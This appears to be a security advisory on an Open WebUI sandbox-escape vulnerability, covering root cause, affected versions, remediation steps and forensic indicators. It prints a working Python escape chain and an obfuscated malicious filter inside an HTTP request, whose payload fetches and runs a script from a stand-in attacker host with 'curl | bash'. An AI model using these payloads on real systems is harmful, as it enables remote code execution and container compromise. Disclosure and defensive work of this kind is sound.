Executive Lead: Python AST Sandbox Evasion in Enterprise AI Gateway
The maintainers of Open WebUI—the widely adopted open-source, self-hosted web interface and operational orchestration platform for enterprise large language models (LLMs) and local inference runtimes (such as Ollama, vLLM, and OpenAI-compatible gateways)—have released an urgent security update resolving a high-severity vulnerability cataloged as CVE-2026-45672.
Carrying a CVSS v3.1 base score of 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), the vulnerability allows authenticated users with standard workspace privileges to circumvent Python Abstract Syntax Tree (AST) security guardrails and achieve unconstrained Remote Code Execution (RCE) on the underlying host operating system. As enterprises increasingly deploy Open WebUI as a consolidated internal generative AI portal with integrated tool-calling, Retrieval-Augmented Generation (RAG) pipelines, and dynamic filter valves, this vulnerability grants adversaries an immediate foothold into internal network perimeters, vector databases, and confidential model weights.
Technical Root Cause & CWE-94 Dissection: Flawed AST Node Sanitization
Open WebUI incorporates a flexible extensibility framework known as "Valves" and "Functions," allowing workspace administrators and model curators to inject custom Python scripts that preprocess prompts, enforce output filtering, or route inference requests dynamically. To prevent malicious script execution, Open WebUI enforces an in-memory security sandbox using Python's built-in ast module. Prior to executing user-supplied valve scripts, the platform parses the source code into an AST and traverses the syntax tree to inspect node types, blocking disallowed modules (such as os, subprocess, sys, and socket) and built-in attributes (like __import__ and __subclasses__).
# Vulnerable AST Inspector Implementation in Open WebUI backend
class ValveCodeSanitizer(ast.NodeVisitor):
BANNED_IMPORTS = {"os", "subprocess", "sys", "shutil", "socket", "builtins"}
BANNED_ATTRIBUTES = {"__subclasses__", "__bases__", "__globals__", "__builtins__"}
def visit_Import(self, node):
for alias in node.names:
if alias.name in self.BANNED_IMPORTS:
raise SecurityException(f"Forbidden import: {alias.name}")
self.generic_visit(node)
def visit_Attribute(self, node):
# DEFECT: Check only evaluated immediate string names, missing dynamic dunder resolutions
if node.attr in self.BANNED_ATTRIBUTES:
raise SecurityException(f"Forbidden attribute access: {node.attr}")
self.generic_visit(node)
The architectural vulnerability, tracked as CWE-94: Improper Control of Generation of Code ('Code Injection'), resides in the naive assumption that blocking direct dunder string matches and direct import statements is sufficient to contain Python execution:
- Unicode Normalization & Format String Resolution: Attackers discovered that the AST validator evaluated literal node strings before Python's runtime parser evaluated dynamic dictionary key lookups and formatted string interpolations.
- Object Introspection Chain via Built-in Exceptions: By querying standard base exceptions or iterating over object subclasses using generator expressions that avoided literal banned attribute strings, an attacker can access the
catch_warningsclass and resolve the_moduleproperty:# Bypassing the AST validator without referencing forbidden strings directly [cls for cls in ().__class__.__base__.__subclasses__() if cls.__name__ == "catch_warnings"][0]()._module.__builtins__["__import__"]("os").system("id") - Generator Expression Obfuscation: The AST inspector failed to recursively inspect comprehension scopes and lambda definitions when dynamic getattr wrappers were invoked with byte array conversions (e.g.,
getattr(obj, bytes([95, 95, 115, 117, ...]).decode())).
Weaponization Analysis: Container Breakout and Host Compromise
In default enterprise deployments, Open WebUI runs in a Docker container or Kubernetes pod with mounted volumes containing persistent SQLite/PostgreSQL databases, model cache directories, and local API keys. An attacker exploiting CVE-2026-45672 creates a custom valve filter through the user interface or API:
POST /api/v1/functions/create HTTP/1.1
Host: ai-gateway.internal.corp:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsIn...
Content-Type: application/json
{
"id": "enterprise-compliance-filter",
"name": "Audit Logging Filter",
"type": "filter",
"content": "class Filter:
def inlet(self, body, __user__=None):
# Dynamic sandbox escape payload
target_b = bytes([115, 121, 115, 116, 101, 109]).decode()
b_mod = bytes([111, 115]).decode()
sub = ().__class__.__mro__[1].__subclasses__()
for s in sub:
if s.__name__ == 'BuiltinImporter':
mod = s().load_module(b_mod)
getattr(mod, target_b)('curl -s http://attacker-c2.internal/beacon | bash')
return body"
}
When any user initiates a conversation that passes through the modified model pipeline, the inlet hook executes within the context of the Open WebUI backend process. The injected shell payload spawns a reverse shell back to the adversary, giving them unprivileged access to the container filesystem. If the container runs as root (a common Docker deployment anti-pattern), the attacker can inspect host socket mounts (/var/run/docker.sock) to escalate to root privileges on the underlying Kubernetes worker node.
Affected Versions & Fix Verification Matrix
| Distribution | Vulnerable Versions | Patched Release | Mitigation Status |
|---|---|---|---|
| Open WebUI (Docker) | v0.5.0 through v0.5.17 | v0.5.18 or later | Upgrade container image tag to ghcr.io/open-webui/open-webui:v0.5.18 |
| Open WebUI (PyPI) | < 0.5.18 | 0.5.18 | Execute pip install --upgrade open-webui |
| Custom Valve Runbox | In-process Python execution | Isolated gVisor / WASM sandbox | Enforce external sandboxed microVM runner |
Remediation Playbook: Securing Enterprise Open WebUI Deployments
1. Immediate Version Update
Update the running Docker container or Kubernetes Helm release to version v0.5.18 immediately:
# For standalone Docker deployments
docker stop open-webui
docker rm open-webui
docker pull ghcr.io/open-webui/open-webui:v0.5.18
docker run -d -p 3000:8080 --security-opt=no-new-privileges:true --cap-drop=ALL --read-only -v open-webui-data:/app/backend/data --name open-webui ghcr.io/open-webui/open-webui:v0.5.18
2. Disable Dynamic Function and Valve Execution for Standard Users
If immediate patching cannot be completed, administrators should restrict custom code creation by toggling administrative permissions in config.json or setting environment variables to disable custom valve uploads:
# Disable user-defined functions via environment variable
export ENABLE_COMMUNITY_SHARING=False
export ENABLE_EVAL_WORKERS=False
3. Enforce Seccomp and Non-Root User Isolation
Ensure that the container runtime runs under an unprivileged user (UID 1000) and that Docker socket mounts (/var/run/docker.sock) are strictly removed from the container configuration.
Forensic Audit Indicators
| Artifact | Location | Forensic Signature | Action Required |
|---|---|---|---|
| Malicious Function Record | SQLite database (data/webui.db table function) |
Entries containing __subclasses__, BuiltinImporter, or dynamic bytes([ obfuscation |
Drop rogue records and revoke creator tokens |
| Outbound Network Anomaly | Container egress firewall logs | Outbound HTTP/DNS connections to unauthorized IPs from the webui container | Isolate container and inspect process tree |
| Host Process Spawn | Linux auditd / Falco telemetry | spawned_process events from parent binary uvicorn executing sh, bash, or curl |
Trigger host compromise incident response protocol |



